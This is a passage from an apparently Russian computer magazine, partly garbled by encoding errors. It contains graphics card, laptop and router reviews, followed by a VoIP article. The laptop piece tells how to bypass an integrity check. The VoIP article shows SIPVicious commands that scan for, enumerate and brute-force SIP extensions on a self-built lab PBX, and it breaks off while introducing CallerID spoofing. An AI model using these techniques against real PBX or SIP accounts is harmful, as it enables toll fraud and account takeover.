имость уже устоялась и составляет примерно 4000 рублей, но с выходом 
плат на новых чипах может снизиться. Плата обладает всеми достоинс-
твами изделий Sapphire, а именно — качеством и надежностью.

Есть проблема с охлаждением. В принципе, если у тебя просторный 
корпус и много вентиляторов, то трудностей быть не должно, но если 
он забит, устройствам в нем тесно, а вентиляторов мало, то проблемы 
практически гарантированы. И, конечно, с разгоном нужно быть очень 
осторожным.

Sapphire Radeon
HD 4850

ÒÅÑÒÎÂÛÉ ÑÒÅÍÄ:
ÏÐÎÖÅÑÑÎÐ: INTEL CORE 2 DUO E8400
ÌÀÒÅÐÈÍÑÊÀß ÏËÀÒÀ: ASUS P5Q DELUXE
ÎÏÅÐÀÒÈÂÍÀß ÏÀÌßÒÜ, ÃÁ: 4, CORSAIR XMS2 DDR2
ÆÅÑÒÊÈÉ ÄÈÑÊ, ÃÁÀÉÒ: 640, WD, 7200 ÎÁ/ÌÈÍ
ÁËÎÊ ÏÈÒÀÍÈß, ÊÂÒ: 1, THERMALTAKE
ÎÏÅÐÀÖÈÎÍÍÀß ÑÈÑÒÅÌÀ: WINDOWS VISTA 

ATI Radeon
HD 4770 

4000 руб.

4000 руб.

ÑÏÈÑÎÊ  ÏÐÎÒÅÑÒÈÐÎÂÀÍÍÛÕ  ÓÑÒÐÎÉÑÒÂ:
ATI RADEON HD 4770
SAPPHIRE RADEON HD 4850
SAPPHIRE RADEON HD 4890
ZOTAC GEFORCE GTS250
ZOTAC GEFORCE GTX 260
ZOTAC GEFORCE GTX 275



  
Старый добрый графический процессор G92 от компании NVIDIA воз-
вращается в новом облике — с литерой b в названии. Что она означает? 
Новый 55 нм техпроцесс, возросший объем памяти и повышенные 
частоты. Естественно, мы получаем более высокую производительность. 
Кроме того, плюсом платы, по сравнению с более ранними изделиями 
на ГП NVIDIA, можно назвать более продуманную систему охлаждения, 
которая, правда, стала занимать два слота. Специалисты Zotac произве-
ли небольшой заводской разгон этой платы, о чем говорит слово «Amp!» 
в названии.

Цена платы возросла и стала явно завышенной, ведь десяток мегагерц 
любой человек выжмет обычным тюнером с любой платы. Вряд ли стоит 
за это переплачивать. Если твой корпус плотно забит устройствами, то, 
возможно, нужно будет решать проблемы с перегревом; плата, несмотря 
ни на что, пышет жаром. С другой стороны, в просторном и хорошо венти-
лируемом корпусе проблем быть не должно.
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Учитывая цену этого устройства, мы смело можем назвать его одним из 
лучших по соотношению цены и качества. Благодаря высоким частотам 
работы и гигабайту памяти, Sapphire Radeon HD 4890 демонстрирует 
высокую производительность. При этом она имеет неплохой разгонный 
потенциал, так что если тебе нужна дополнительная скорость, ты легко 
сможешь ее получить. Размеры устройства невелики, что существенно 
расширяет возможности по установке в небольшие или сильно запол-
ненные корпуса. На плате распаяны два 6-контактных разъема. Очень 
удачная схема питания.

Основным недостатком платы стала ее система охлаждения: достаточно 
слабая, но при этом шумная. Такое положение дел осложняет разгон 
платы, что особенно обидно, учитывая, что потенциал для оверклокинга 
у нее есть. Установив Sapphire Radeon HD 4890 в небольшой тесный 
корпус, мы получили рабочую температуру в 78 градусов — это есть очень 
плохо. Думаю, скоро на рынке появятся такие платы с продвинутым куле-
ром. Так что, если ты любишь разгон, то имеет смысл немного подождать 
с покупкой.

ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ГРАФИЧЕСКИЙ ПРОЦЕССОР: G92b
ТЕХПРОЦЕСС, НИ: 55
РАЗЪЕМЫ: 2xDVI, 1x S-Video
ДОПОЛНИТЕЛЬНОЕ ПИТАНИЕ: 1x6 пин
ЧАСТОТА ПРОЦЕССОРА, МГЦ: 750
ЧАСТОТА ПАМЯТИ, МГЦ: 1150
ТИП ПАМЯТИ: GDDR3
ОБЪЕМ ПАМЯТИ, МБ: 1024
ПОДДЕРЖКА SLI/CROSSFIRE: да

ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ГРАФИЧЕСКИЙ ПРОЦЕССОР: ATI RV790
ТЕХПРОЦЕСС, НМ: 55
РАЗЪЕМЫ: 2xDVI, 1x S-Video
ДОПОЛНИТЕЛЬНОЕ ПИТАНИЕ: 2x6 пин
ЧАСТОТА ПРОЦЕССОРА, МГЦ: 850
ЧАСТОТА ПАМЯТИ, МГЦ: 975
ТИП ПАМЯТИ: GDDR5
ОБЪЕМ ПАМЯТИ, МБ: 1024
ПОДДЕРЖКА SLI/CROSSFIRE: да

Sapphire Radeon
HD 4890 Zotac GeForce  

GTS 250 Amp!

5875  руб.

8200 руб.

THE SIMS 3, 1680X1050, ULTRA HIGH (FPS)

0              10              20               30              40              50              60              70 
ATI Radeon HD 4770

Sapphire Radeon HD 4850

Sapphire Radeon HD 4890

Zotac GeForce GTS 250 Amp!

Zotac GeForce GTX 260 Amp!

Zotac GeForce GTX 275 Amp!

FERRUM
 

ПЛАТЫ НА ГП NVIDIA, В ОСНОВНОМ, ОПЕРЕЖАЮТ 
ATI-ШНЫЕ, НО ДАЖЕ НА САМОЙ СЛАБОЙ ИГРА 
ИДЕТ ХОРОШО
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ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ГРАФИЧЕСКИЙ ПРОЦЕССОР: GT200b
ТЕХПРОЦЕСС, НМ: 55
РАЗЪЕМЫ: 2xDVI, 1x S-Video
ДОПОЛНИТЕЛЬНОЕ ПИТАНИЕ: 2x6 пин
ЧАСТОТА ПРОЦЕССОРА, МГЦ: 702
ЧАСТОТА ПАМЯТИ, МГЦ: 1260
ТИП ПАМЯТИ: GDDR3
ОБЪЕМ ПАМЯТИ, МБ: 896
ПОДДЕРЖКА SLI/CROSSFIRE: да 

 
Что новый техпроцесс делает с платами, вы только посмотрите! И 
процессор графический у этой платы быстрее, и память более произво-
дительная. Да еще и на заводе постарались, разогнали. По сравнению 
с устройствами на GTX260, плата стала гораздо быстрее. В остальном же 
все осталось таким же — и внешность, и размеры, и система охлаждения. 
С температурой получился интересный казус: более совершенный тех-
процесс, естественно, снизил тепловыделение, но повышенные частоты 
работы ГП и памяти вернули его на уровень NVIDIA GeForce GTX260.

Главный недостаток этого графического адаптера — его цена. В общем и 
целом, конечно, она соответствует той производительности, которую эта 
плата предлагает, но конкуренты на базе ATI с похожей скоростью стоят 
уже дешевле… Постарайся найти это устройство с какой-нибудь скидкой 
тысячи в полторы — и такой покупкой ты выбьешь десятку!
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Еще одна плата, построенная на не совсем новом, скажем так, графичес-
ком чипсете. А говоря прямо — ГП NVIDIA GT200 старый и проверенный 
как временем, так и геймерами, и различными тестовыми лаборатория-
ми. Но, несмотря на это, по-прежнему вызывает определенный интерес, 
так как обладает достаточно высокой производительностью, а более 
новые модели на ГП GTX275 стоят на пару тысяч дороже. Разница в цене 
существенная, а вот в скорости… Тем более, данная модель Аmp! уже 
подверглась тюнингу на родном заводе, причем ГП стал работать на 
650 МГц взамен штатных 575, да и память разогнали на 50 МГц. Система 
охлаждения занимает два слота, но зато отлично работает — проблем с 
перегревом нами замечено не было. Пусть чип тут стоит не новый, изде-
лие получилось очень интересным.

Впрочем, многим это не понравится — есть люди, которые стремятся 
покупать только последние версии. Еще одна проблема — модификацию 
Amp! не так-то просто найти в продаже.

ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ГРАФИЧЕСКИЙ ПРОЦЕССОР: GT200
ТЕХПРОЦЕСС, НМ: 65
РАЗЪЕМЫ: 2xDVI, 1x S-Video
ДОПОЛНИТЕЛЬНОЕ ПИТАНИЕ: 1x6 пин
ЧАСТОТА ПРОЦЕССОРА, МГЦ: 650
ЧАСТОТА ПАМЯТИ, МГЦ: 1050
ТИП ПАМЯТИ: GDDR3
ОБЪЕМ ПАМЯТИ, МБ: 896
ПОДДЕРЖКА SLI/CROSSFIRE: да 

Zotac GeForce
GTX 260 Amp!

6500  руб.

9100 руб.

Zotac GeForce
GTX 275 Amp!

ÂÛÂÎÄÛ
Проведенный нами тест интересен тем, что 
позволяет сравнить новые платы с постро-
енными на морально устаревших чипсетах 

и понять, стоить ли тратить деньги только за 
то, что устройство свежее и модное. Выбор, 
как всегда, за тобой. Приз «Выбор редакции» 
сегодня получает Sapphire Radeon HD 4890 — 
новое и очень удачное устройство. А «Лучшая 

покупка» достается Zotac GeForce GTX 260 
Amp! — сбалансированное решение по хоро-
шей цене. z

GTA IV, 1680X1050, HIGH (FPS)
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НА ПРИМЕРЕ ХОРОШО ВИДНО, 
СТОИТ ЛИ ПЕРЕПЛАЧИВАТЬ 
ЗА НАИБОЛЕЕ МОЩНУЮ ПЛАТУ 
ИЛИ ОГРАНИЧИТЬСЯ С
РЕДНЕСТАТИСТИЧЕСКОЙ
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Давно прошли времена, когда ноутбуки серьезно проигрывали 
обычным компам в плане производительности. Сейчас легко можно 
приобрести машинку с быстрым процессором Intel, кучей оперативки 
и шустрой видеокартой. И если раньше такой навороченный бук стоил 
целое состояние, то сейчас найти подобную рабочую лошадку можно за 
вполне адекватные деньги. Но самые обычные буки нам неинтересны, 
поэтому мы решили поискать машинку с «фишками». Таким ноутбуком 
оказался новый ASUS U50Vg, построенный на базе процессорной тех-
нологии Intel® Centrino® 2. Он оснащен производительным мобильным 
процессором Intel® Core™ 2 Duo T6500 с частотой 2.1 Ггц и 3 Гб памяти.

ФИШКА 1: 
ЭРГОНОМИКА
Первое, о чем хочется рассказать, — это крайне привлекательный 
вид ноутбука. Несмотря на диагональ в 15.6", кажется, что его можно 
брать с собой повсюду. Виной тому — минимальная толщина ноутбука 
(33 мм), благодаря которой модель выглядит намного изящнее своих 
соратников. Как и многие современные модели ноутбуков, U50Vg 
оснащен эргономичной клавиатурой. Она имеет большой ход клавиш 
и увеличенное расстояние между ними, что способствует снижению 
количества ошибок при печати. Но это еще не все – у клавиш есть 
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5 фишек нового ноутбука от ASUS
Открою тебе небольшой секрет — наш редактор Андрей Матвеев 
не признает настольные компьютеры в принципе. Зато в его распоря-
жении сразу несколько добротных ноутбуков с разными ОС, которые 
и выступают в роли рабочих лошадок. Это, конечно, дело вкуса, но с его 
доводами сложно не согласиться.
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подсветка, которая не только классно выглядит в темноте, но и позво-
ляет комфортно работать при любом уровне освещенности. 
Вес ноутбука составляет 2.56 кг, что совсем немного для такой машин-
ки. Правда и аккумулятор большой в него не ставится: стандартная 
емкость батареи составляет 4400 мАч, которая в среднем выдавала 
мне почти 3 часа автономной работы. 

ФИШКА 2: 
АВТОМАТИЧЕСКАЯ ПОДСВЕТКА
Одна из классных фич этой модели — адаптивная регулировка ярко-
сти экрана и подсветки клавиатуры. Специальный датчик, оцени-
вающий освещенность, встроен в рамку экрана: от того, насколько 
светло вокруг, соответствующим образом меняется и подсветка. 
Если вечером выключить в помещении свет, немедленно включится 
подсветка клавиш: всего у нее 3 уровня яркости. Заметить разницу в 
изменении подсветки экрана сложнее, но также можно. И, конечно, 
никто не мешает отрегулировать ее вручную.

ФИШКА 3: 
КЛАССНЫЙ МУЛЬТИТАЧ
Приятно, что производители ноутбуков (а вернее — тачпадов) 
наконец-то реализовали полноценные функции мультитача. Теперь 
изменить масштаб документа или, что я лично обожаю, скролить доку-
менты можно двумя пальцами. Чрезвычайно эффективно и удобно. Но 
в случае с данной моделью это еще не все сюрпризы. При прикос-
новении к тачпаду на нем появляется светящаяся полоска, которая 
перемещается в соответствии с движением пальцев. Нереально 
классный эффект, который тут же с приятным удивлением отмечают 
все, кто увидит тебя за работой :).

ФИШКА 4: 
ЭФФЕКТНЫЙ ВХОД В СИСТЕМУ
На модели U50Vg нет системы для входа по отпечатку пальца, но это 
и не надо. Едва ли ты будешь таскать свой ноутбук с собой посто-
янно там, где его придется лочить. К тому же, на этой модели есть 
прикольная система SmartLogon, идентифицирующая человека по 
изображению, которое она получает с веб-камеры. SmartLogon ловко 
выделяет из изображения очертания лица и сравнивает с образцами, 
после чего разрешает или не разрешает logon в систему. Понятно, что 
сначала надо немного обучить программу. Более того — это придется 
выполнить несколько раз, в условиях разной освещенности. 

ФИШКА 5: 
РАБОТАЕМ ВООБЩЕ БЕЗ ОПЕРАЦИОННОЙ 
СИСТЕМЫ
Да-да. В случае с U50Vg можно вполне успешно пользоваться буком 
без загрузки операционной системы Майкрософт. Ты спросишь: «Как 
это возможно, ведь без операционки, вообще говоря, не обойтись?» 
Но с ноутбуком действительно можно работать, даже не запуская 

основную операционную систему — благодаря классной технологии 
Express Gate. На ней мы остановимся подробнее.
Такая встроенная операционка основана на Linux’е и ее возможность 
установки изначально вшита в материнскую плату. Активировать 
Express Gate тебе предлагается во время загрузки ноутбука: пара 
мгновений — и она устанавливается на любой доступный раздел, 
будь тот на NTFS или FAT. Подойдет даже твой основной системный 
диск: инсталлятор лишь разместит на нем несколько своих служебных 
файлов. А что в итоге? В итоге ты получаешь операционную систему, 
которая запускается через, держись крепче, 8 секунд после запуска! 
Да, большой функциональности от нее ждать глупо. Но ты можешь 
работать с браузером, позвонить, используя Skype  и, естественно, 
обратиться к файлам на своем жестком диске. Что бы ни случилось 
с основной системой, у тебя всегда останется возможность работы с 
ноутбуком. И... это еще не все!
Разве ж мы могли ограничиться лишь тем, что предлагают разработ-
чики, не попробовав запихнуть в эту систему что-то свое? Не смогли :). 
При первом исследовании стало ясно, что всю информацию ОС хранит 
в файлах .sqx/.idx/.bin в разделе, который мы указали при установке. 
Мы знали, что SQX-файлы — это не что иное, как контейнер для сжатой 
файловой системы squashfs версии 3.0, а работать с ними можно с по-
мощью утилиты squashfs-tools. После того, как мы добавили в архив 
несколько бинарников из Debian, столкнулись с вполне ожидаемой 
проблемой: ОС проверяет целостность своих «образов», не призна-
вая левые sqx’ы. Обойти такую проверку несложно: md5-суммы sqx-
файлов хранятся в файле version, а защита легко отключается путем 
урезания файла до первых 32 байт. После этой нехитрой операции 
добавлять в систему Express Gate можно все, что угодно. 

Вообще, как ни крути, а модель у ASUS вышла очень удачная. Даже 
если не брать в расчет интересные нововведения, мы получаем 
отличный и проработанный ноутбук. Взять хотя бы расположение 
USB-портов, которые разнесены по разным краям корпуса, чтобы не 
мешаться друг другу. Дома я насладился еще одним преимуществом 
таких ноутбуков, подключив U50Vg к телевизору, используя HDMI-
разъем. Ни на одном из моих маленьких компьютеров такой возмож-
ности не было :).

TREND CLUB — дискуссионный клуб для тех, кто интере-
суется прогрессом и задумывается о будущем. Участники Trend 
Club обсуждают технические новинки, информационные техно-
логии, футурологию и другие темы завтрашнего дня. Trend Club 
поддерживается компаниями Intel и ASUS и проводит регулярные 
конкурсы с ценными призами.

Корпорация Intel, ведущий мировой производитель инновацион-
ных полупроводниковых компонентов, разрабатывает технологии, 
продукцию и инициативы, направленные на постоянное повы-
шение качества жизни людей и совершенствование методов их 
работы. Дополнительную информацию о корпорации Intel можно 
найти на Web-сервере компании Intel www.intel.ru, а также на сайте 

http://blogs.intel.com. Для получения дополнительной информации 
о рейтинге процессоров Intel посетите сайт www.intel.ru/rating. z

ВНУТРЕННОСТИ ASUS U50Vg
• Процессор: Intel® Core™ 2  T6500, 2.1 Ггц 
    Поддерживает технологию Enhanced Intel
    SpeedStep
• Процессорная технология Intel® Centrino® 2
• Оперативка: 3 Гб (две планки: на 1 и 2 Гб), 
    максимальный объем 4 Гб
• HDD: 320 Гб
• Дисплей: 15.6" с поддержкой HD-видео
• WLAN: 802.11b/g, Bluetooth
• Бонусы: беспроводная мышь, удобная сумка



ВОЗМОЖНОСТИ УСТРОЙСТВА
Роутеры с поддержкой DraftN — это отдельная категория высокоскорост-
ных устройств, которые гарантируют высокую пропускную способность 
не только по проводной, но и по беспроводной сети. Сам роутер способен 
поддерживать соединение на скорости до 300 Мбит/с. Кроме того, бес-
проводное соединение может быть защищено самыми современными 
методами шифрования и аутентификации. Как известно, безопасность 
обратно зависима от удобства использования. Но в этом устройстве 
нашла применение технология WPS. Суть ее заключается в том, что при 
одновременном нажатии кнопок на роутере и адаптере можно подклю-
чить беспроводные устройства с поддержкой WPS без ручного ввода всех 
настроек. Маршрутизатор автоматически настроит защищенное беспро-
водное подключение. Еще одна технология для обеспечения скоростной 
и беспроблемной работы — это EZQoS. Знакомые буквы QoS расшифро-
вываются как Quality of Service. Технология направлена на резервирова-
ние части пропускной способности канала под определенные программы 
или протоколы, особо чувствительные к задержкам. Компания ASUS 
добавила к этому протоколу свои фирменные фишки и назвала систему 
EZQoS. В дополнение к беспроводным возможностям девайс наделен 
четырьмя портами Ethernet. К двум из них можно подключить видео-
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ТЕСТИРОВАНИЕ РОУТЕРА ASUS RT-N13 

Роутер дома — уже не излишество, а скорее необходимость. 
Проникновение техники в нашу жизнь таково, что заказать продукты, 
посмотреть фильм или пообщаться с друзьями можно, не вставая с 
кресла. Чтобы не ломать голову, как же все устройства объединить 
в единую сеть и обеспечить доступ в интернет, мы решили провести 
тестирование нового маршрутизатора ASUS RT-N13.

Áûñòðûé  VPN

4000 руб.

ТЕХНИЧЕСКИЕ 
ХАРАКТЕРИСТИКИ:
ИНТЕРФЕЙСЫ: 4 X LAN, 1 X WAN
БЕСПРОВОДНОЙ ИНТЕРФЕЙС: IEEE 802.11 B/G/N
ШИФРОВАНИЕ: 64/128-BIT WEP, WPA, WPA2, TKIP, AES, WPA-PSK, 
WPA2-PSK, MAC ADDRESS, 802.1X
ПОДДЕРЖИВАЕМЫЕ ТИПЫ ПОДКЛЮЧЕНИЯ: STATIC IP ADDRESS, 
DYNAMIC IP ADDRESS (DHCP CLIENT), PPP OVER ETHERNET (PPPOE), 
PPTP, L2TP

РЕЗУЛЬТАТЫ ТЕСТА:
LAN TO WAN(NAT): 112 МБИТ/С
LAN TO WAN(VPN): 19 МБИТ/С
LAN TO WI-FI: 54,5 МБИТ/С
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декодеры, работающие по сети. 
В последнее время они обретают 
некоторую популярность, поз-
воляя наслаждаться цифровым 
телевидением в хорошем качестве 
или фильмами на заказ. В любом 
случае, ты сам волен определить 
порт, к которому будут подключены 
устройства, поддерживающие 
multicast-потоки. Более детально 
мы рассмотрим возможности ро-
утера непосредственно во время 
тестирования.

МЕТОДИКА 
ТЕСТИРОВАНИЯ
Для проверки функционирования 
устройства мы воспользовались 
двумя компьютерами и ноутбуком. 
Компьютеры подключались к 
устройству посредством кабеля, 
а ноутбук использовался для 
проверки скорости беспровод-
ного доступа. Для тестирования 
мы воспользовались адаптером 
ASUS USB-N11. Пробовали мы 
подключиться и при помощи WPS, 
просто нажав нужные кнопки на 
роутере и адаптере. Проводился 
тест на эргономичность работы с 
меню. Логичность расположения 
элементов управления, коли-
чество и вариантность настроек 
играли в плюс. Ну и конечно, мы 
замеряли пропускную способ-
ность девайса в нескольких 
режимах:

1) LAN to WAN (NAT)
2) LAN to Wi-Fi
3) LAN to WAN (VPN)

Мы решили замерить скорость 
работы при созданном VPN-кана-
ле. Высокие скорости передачи 
данных по локальным сетям порой 

упираются в производительность 
роутера именно при работе с VPN.

МОНТИРУЕМ 
И ИГРАЕМ
Подключив все устройства, мы 
начали настраивать сеть. По Wi-Fi 
соединиться не составило про-
блем, правда, при активации WPS 
соединение не было установлено. 
Вероятно, проблема кроется в 
прошивке или в индивидуальной 
проблеме устройства. Тем не 
менее, при ручном подключении, 
сетевой адаптер увидел точку 
доступа и подключился к ней на 
своей максимальной скорости 
150 Мбит/с. При подключении 
компьютеров по Ethernet также 
не возникло никаких проблем 
— встроенный DHCP автомати-
чески передает всем устройст-
вам необходимые настройки. 
Тут мы переходим к настройкам 
VPN-соединения. Очень удачно 
реализована эта функция, так как 
можно вводить адрес vpn-сервера 
непос редственно в виде хоста, а 
не ip-адреса;   это позволяет рабо-
тать с vpn-сетями с динамическим 
переключением пользователей 
на менее нагруженные серверы. 
Безусловно, все настройки можно 
производить как при помощи web-
интерфейса, так и посредством 
специальной утилиты. Фирменная 
утилита ASUS EZSetup позволяет 
настроить подключение к Internet 
и создать защищенное беспро-
водное подключение всего за 
несколько минут. Если не хочется 
вдаваться в подробности тонкого 
конфигурирования устройства или 
тратить деньги на вызов техничес-
кого специалиста, то достаточно 
будет выбрать провайдера из 

имеющегося списка и ввести 
имя пользователя и пароль. Все 
остальное ASUS EZSetup сделает 
самостоятельно в соответствии 
с требованиями провайдера, а 
также настроит дополнительные 
сервисы, предоставляемые про-
вайдером.

WEB-ИНТЕРФЕЙС
Начнем с того, что web-интерфейс 
может быть представлен как на 
английском, так и на русском язы-
ке. Русификация меню проведена 
довольно качественно. В основ-
ном меню иконками представлена 
схема сети — наглядно и удобно. 
В расширенном меню можно 
выбрать пункт, позволяющий про-
извести необходимые настройки. 
Возможности перераспределения 
трафика и выбора приоритетов 
достаточно велики. В соответству-
ющем пункте меню можно выбрать 
из нескольких вариантов прило-
жения, которые будут обладать 
приоритетом, и реализовано это 
все при помощи иконок — нагляд-
но и понятно.
В целях повышения безопасности 
предусмотрен встроенный бранд-
мауэр, который недурно справля-
ется со своими обязанностями. 
Помимо автоматических режимов 
работы, можно самостоятельно 
назначить правила, используя 
встроенные фильтры. Кроме того, 
можно воспользоваться встроен-
ным режимом защиты от DoS-атак. 
Для управления роутером извне 
можно активировать web-сервер 
для работы по порту WAN.

РЕЗУЛЬТАТЫ ТЕСТА
Работать с роутером довольно 
просто и занимательно. Настроив 

единожды все параметры, их мож-
но экспортировать и в дальней-
шем, а при сбое просто подгружать 
ранее сохраненные параметры 
сети. Кроме того, постоянно 
обновляются прошивки, которые 
увеличивают функционал и ис-
правляют мелкие недочеты. Стоит 
отметить неплохие скоростные 
характеристики девайса: скорость 
передачи данных при работе по 
беспроводному каналу соста-
вила почти 55 Мбит/с — очень 
неплохой результат! Правда, 
надо учитывать, что клиентское 
устройство должно поддерживать 
протокол 802.11n. По локальной 
сети данные передаются тоже в 
пределах скоростных ограниче-
ний стандарта. 

ИТОГИ
Подводя итог тестирования, 
отметим высокую дружествен-
ность пользовательского интер-
фейса. Для рядового юзера, 
который не жаждет разбираться 
в настройках маршрутизатора, 
есть простая утилита, где доста-
точно ввести логин с паролем и 
выбрать провайдера. Осталь-
ных ждет очень подробное 
меню с множеством настроек 
и работой через браузер. Под-
держка русского языка облег-
чает процесс взаимодейст вия 
пользователя с роутером. Высо-
кая скорость передачи данных 
по беспроводному каналу и 
удобство настройки EzQoS поз-
волит работать на любом уст-
ройстве без видимых задержек. 
В целом, устройство получилось 
очень удачное: высокопроизво-
дительное и функциональное. 
Рекомендуем! z
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Еще не так давно сервис Clickatel, позволяющий 
отправлять SMS с любого номера, казался настоящей 
находкой. Побаловались — и надоело. Пора сделать 
следующий шаг и разобраться, как с произвольного 
номера... позвонить и поговорить с человеком.
 А заодно посмотреть, как можно перехватить 
голосовой трафик, подобрать пароль для аккаунта 
у SIP-провайдера и просто умело использовать 
замечательную технологию VoIP.

ГДЕ ВЗЯТЬ ДЕШЕВУЮ 
СВЯЗЬ?
Хороший вопрос. Реализаций технологии, 
которая в целом называется Voice over IP 
(передача голоса по IP), существует очень 
много. Но выбирать решение нужно в 
каждом случае отдельно: исходя из своих 
потребностей и направлений для звонков. 
Вот взять хотя бы всем известный Skype, 
который предоставляет вполне вменяе-
мые тарифы на звонки по всему миру, а за 
небольшую абонентскую плату вообще готов 
предложить безлимитные разговоры (сразу 
оговорюсь, что российское направление 
под эти условия не попадает). Но тут мы 
сталкиваемся с серьезным ограничением: 
создатели Skype разработали свой фирмен-
ный пиринговый протокол, позволяющий 
устанавливать связь тем абонентам, прямое 
подключение между которыми из-за NAT’а 
и файрволов невозможно, и этот протокол — 
закрытый. А значит, ты сразу становишься 
заложником оригинального клиента, а весь 
набор аппаратных средств будет составлять 
лишь крайне небольшой набор железок. 
Никаких тебе мини-АТС и простора для поле-
та мысли.
Чтобы не быть связанным по рукам и ногам, 

многие отдают предпочтение технологии 
SIP (Session Initiation Protocol), на основе 
которой предлагают свои услуги большин-
ство VoIP-провайдеров.Сразу ощущается 
преимущество открытых стандартов. Море 
программных реализаций телефонов и 
широчайший ассортимент всевозможных 
железок. И раз уж речь зашла про про-
граммные клиенты, рекомендую тебе прямо 
сейчас закачать и установить X-Lite (www.
counterpath.com) — одну из лучших реализа-
ций софтварного телефона. 
Операторов, предоставляющих услуги на 
базе SIP, настолько много, что приводить 
обзор или банальное сравнение было бы 
просто глупо. Вместо этого упомяну одну 
интересную компанию, а именно Betamax. 
Это один из крупнейших провайдеров 
VoIP-связи в Европе, который, однако, не 
работает напрямую с частными лицами, 
но зато предоставляет свои мощности и 
технологии для работы многочисленных 
ресселеров. Фишка в том, что у каждого 
из таких ресселеров есть определенная 
целевая аудитория, для которой каждый из 
них подгоняет свои тарифы. Если с одного 
сервиса звонки в, скажем, Лихтенштейн 
платные, то есть все шансы найти опе-

ратора, который 
предоставляет их 
бесплатно. Кстати, 
такой действитель-
но есть — www.
lowratevoip.com. 
Остается только 
вопрос: как найти нужно-
го? Для этого есть специальный сайт, 
на котором автоматически собираются и 
группируются тарифы всех реселлеров. 
Держи его в секрете: http://backsla.sh/
betamax. Если поискать, то практически 
для всех европейских стран возможно 
найти оператора, который предлагает 
звонки по этому направлению вообще бес-
платно. Увы, в Россию бесплатные звонки 
доступны только в направлении Питера и 
Москвы. После регистрации ты получаешь 
адрес гейта, логин и пароль — данные 
для авторизации своего SIP-аккаунта, 
которые указываются в полях Domain, 
Authorization User name, Password окна 
настроек X-Lite’а (меню  SIP Accounts 
Settings). Как видишь, настроить его не 
сложнее, чем Skype. После перевода неко-
торой минимальной суммы на депозит ты 
сможешь осуществлять звонки на обычные 
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городские и мобиль-
ные телеофоны.
Еще один инте-
ресный момент. 
Каждый из сервисов 
Betamax предостав-
ляет замечательную 
услугу — Direct 
Call, позволяющую 
обоим собеседникам 
обходиться одним 
только телефоном 
безо всякой гарни-
туры. Смысл в том, 
что сервису указы-
ваются два номера 
сразу — свой и 
собеседника — а тот 
сам установит между 
вами соединение. 
Это, кстати говоря, 
еще и отличный 
способ иницииро-
вать звонок по VoIP, 
используя мобиль-
ник. Благо, браузер 
можно запустить на 
чем угодно.

КАК 
ПРОБРУТИТЬ 
SIP-АККАУНТ
Если на твоем SIP-
аккаунте есть денеж-
ки, то позвонить с 
его помощью может 
кто угодно — если 
у него будет адрес 
сервера, логин и 
пароль. Практика 
показывает, что в 
Сети существует 
огромное количество 
неправильно настро-
енных PBX (private 

branch exchange) или, 
по-русски говоря, офис-

ных АТС, а также просто SIP-аккаунтов со 
слабыми паролями. Для демонстрации 
этого поднимем программную реализацию 
АТС на базе проекта Asterix PBX (www.
asterisk.org) и проверим его на стойкость 
с помощью специального набора утилит 
SIPVicious (sipvicious.org), написанных 
на Python’е. Для того чтобы долго не 
заморачиваться с установкой Linux’а и 
дальнейшей настройкой АТС, мы взяли 
за основу проект Trixbox (www.trixbox.
org), в котором большинство сервисов уже 
толково настроены, а тебе остается лишь 
ввести несколько настроек вручную через 
удобный веб-интерфейс. На офсайте есть 
образ для виртуальной машины VMware, 
который можно запустить бесплатной ути-
литой VMware Player (www.vmware.com/
products/player). После запуска, через веб-

интерфейс создадим несколько так назы-
ваемых extensions — внутренних номеров: 
100, 101 и 123. Для первого установим 
простой числовой пароль, поле пароля 
для второго оставим пустым, а для третье-
го номера укажем какое-нибудь простое 
слово, которое есть в любом словаре для 
брута: например, secret. Опять же повто-
рюсь: все эти действия мы провернули, 
чтобы создать площадку для эксперимен-
тов. Для того чтобы найти уязвимые акки,  
используются утилиты из пакета SIPVicious: 
каждая из них работает в консоли и может 
запускать как под виндой, так и туксом.
Для этого сначала просканируем заданную 
подсеть (скажем, это будет 192.168.1.1/24), 
чтобы найти BPX:

./svmap 192.168.1.1/24

SIP Device       | User Agent   |

192.168.1.103:5060| Asterisk PBX |

Таким образом, в заданном диапазоне IP мы 
нашли нашу АТС-ку. Далее необходимо про-
вести ее анализ и отыскать extention’ы: 

./svwar.py 192.168.1.103 

| Extension | Authentication |

------------------------------

| 123       | reqauth        |

| 100       | reqauth        |

| 101       | noauth         |

И хотя результат для нас вряд ли можно 
назвать неожиданным, мы видим, что номер 
101 не требует авторизации. А для 100 и 
123 необходимо ввести пароль. Попробуем 
подобрать его для 100, используя подбор по 

числовым значениям (а они используются 
более чем часто):

./svcrack.py 192.168.1.103 -u 100

| Extension | Password |

------------------------

| 100       | 100      |

Пароль подобран! Теперь попробуем взломать 
пасс для аккаунта 123, используя словарик:  

./svcrack.py 192.168.1.103 -u 123 

-d dictionary.txt

| Extension | Password |

------------------------

| 123       | secret   |

Оба пасса найдены: осталось подставить 
найденные логин-пароль, а также IP-адрес 
BPX в свой SIP-клиент и проверить их в 
действии. :)
Конечно, вероятность успешного брутфор-
са на отдельно взятый аккаунт невелика. 
Но среди сотен extention’ов всегда най-
дется хотя бы один со слабым паролем. 
Более того, подход «обнаружить bpx, найти 
extention, подобрать пароль» является 
одной из самых простых атак на VoIP. В 
ближайших номерах мы вернемся к этому 
вопросу более детально.

КАК ПОДДЕЛАТЬ НОМЕР?
Возможность звонить по дешевым тарифам 
— это уже само по себе хорошо. Только вот 
вместо твоего номера у абонента отобража-
ется либо «номер скрыт», либо непонятный 
номер VoIP-шлюза, обратные звонки на 
который ни к чему хорошему не приве-
дут. Намного удобнее, если бы в качестве 
CallerID можно было указать номер своего 
сотового телефона, а еще веселее — любой 
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----------
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Весь упомянутый 
в статье софт, а также 
пару наших ранних 
статей по теме мы вы-
ложили на DVD-диск

dvd

DVD

Для того чтобы позво-
нить абоненту Skype,  
необязательно само-
му устанавливать 
клиент и регистри-
роваться в системе. 
Компания Gizmo раз-
работала специаль-
ный сервис OpenSky 
(www.gizmo5.com/pc/
opensky), позволяю-
щий обходиться без 
него.

произвольный номер! Еще не так давно фокус с под-
делкой CallerID можно было провернуть, используя 
